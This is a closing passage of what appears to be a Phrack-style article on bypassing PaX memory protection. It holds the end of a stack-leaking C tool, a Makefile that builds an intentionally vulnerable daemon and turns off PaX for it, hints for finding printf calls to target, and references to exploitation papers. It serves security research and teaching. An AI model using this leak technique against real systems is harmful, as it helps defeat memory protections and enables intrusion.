  printf("\n\nRemote stack : \n");
  for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt += 4)
    printf("%08X %08X %08X %08X \n",
           remote_stack[cnt], remote_stack[cnt + 1],
```

```
              remote_stack[cnt + 2], remote_stack[cnt + 3]);
    puts("");

    return (0);
  }

  <-->

  <++> DHagainstpax/Makefile !d055b5f3
  ##
  ## Makefile for DHagainstpax
  ##

  SRC1    = pax_daemon.c
  OBJ1    = pax_daemon.o
  NAM1    = paxtestd
  SRC2    = leak.c
  OBJ2    = leak.o
  NAM2    = runit
  CC      = gcc
  CFLAGS  = -Wall -g3 #-fomit-frame-pointer
  OPT     = $(CFLAGS)
  DUMP    = objdump -d --section='.text'
  DUMP2   = objdump --syms
  GREP    = grep
  DUMPLOG = $(NAM1).asm
  CHPAX   = chpax -X

  all     : fclean leak vuln

  vuln    : $(OBJ1)
          $(CC) $(OPT) $(OBJ1) -o $(NAM1)
          @echo ""
          $(CHPAX) $(NAM1)
          $(DUMP) $(NAM1) > $(DUMPLOG)
          @echo ""
          @echo "Try to locate 'call printf' ;) 5th call above 'call verify'"
          @echo ""
          $(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call'
          @echo ""
          $(DUMP2) $(NAM1) | grep printf
          @echo ""

  leak    : $(OBJ2)
          $(CC) $(OPT) $(OBJ2) -o $(NAM2)

  clean   :
          rm -f *.o *\# \#* *~

  fclean  : clean
          rm -f $(NAM1) $(NAM2)
  <-->


  -------[ 6. References
```


```
   [1] PaX homepage                                          The PaX team
       http://pageexec.virtualave.net

   [2] The OpenWall project                                  Solar Designer
       http://openwall.com/linux/

   [3] Advanced return-into-lib(c) exploits                  Nergal
       http://phrack.org/show.php?p=58&a=4

   [4] Pentium refefence manual 'system programming guide'
       http://developer.intel.com/design/Pentium4/manuals/

   [5] Bypassing stackguard and stackshield                  Kil3r/Bulba
       http://phrack.org/show.php?p=56&a=5
```

```
 [6] Writing alphanumeric shellcodes                    rix
     http://phrack.org/show.php?p=57&a=15

 [7] Frame pointer overwriting                          klog
     http://phrack.org/show.php?p=55&a=8

 [8] Exploiting format bugs                             scut
     http://team-teso.net/articles/formatstring/

 [9] The ELFsh project                                  devhell labs
     http://www.devhell.org/~mayhem/projects/elfsh/
```


```
|=[ EOF ]=---------------------------------------------------------------=|
```